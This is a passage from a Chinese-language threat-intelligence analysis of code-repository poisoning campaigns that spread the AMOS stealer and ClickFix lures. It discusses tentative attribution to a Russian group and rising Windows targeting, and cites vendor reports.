这类攻击目前看,笔者认为是多个攻击团伙开展的,但是他们使用的样本大同小异,貌似都是由某个工具极其魔改版本生成。从攻击者样本生成时间频次以及其投毒相关变更关键时间点,以及其攻击手法和目标开展的对该类攻击团伙的测绘,结合chat-gpt-4o的辅助推断,攻击者的时区大致可能是在UTC+3或UTC-3(俄罗斯或南美洲相关的攻击团伙),再结合之前的一些已有的已纰漏的团伙以及案例以及目前世界的局势热点,个人认为是俄罗斯的攻击者团伙的可能性比较大。
攻击趋势:攻击者的攻击手段也在不断的更新迭代,尤其是其社工钓鱼的手法的;但是与之相反的是其释放阶段的样本显得一成不变的,所以攻击者的目标也是非常明显的,就是以金融犯罪数据窃取从而获取商业价值;同时其社工的利用链,相关构造工作自动化程度是非常高的,每天都有几十到几百的投毒项目成批的被新号commit以及push,以及的相关站点被注册,时效性非常高,即注册即用。性质的话,初步看应该就是较为常见的黑灰产组合。
同时近期我们也看到其相关投毒内容中出现了一些windows的样本,结合微软情报部门近期推文(8月中下旬),揭露的针对windows的clickfix攻击,我们不难看出这里面暗通款曲,耐人寻味,攻击者或许是不在满足的mac上的相关amos,同时也要开展windows侧的市场。
参考:
https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/
https://cyberguy.com/security/malware-targets-mac-users-fake-captcha-amos-stealer/
https://www.group-ib.com/blog/clickfix-the-social-engineering-technique-hackers-use-to-manipulate-victims/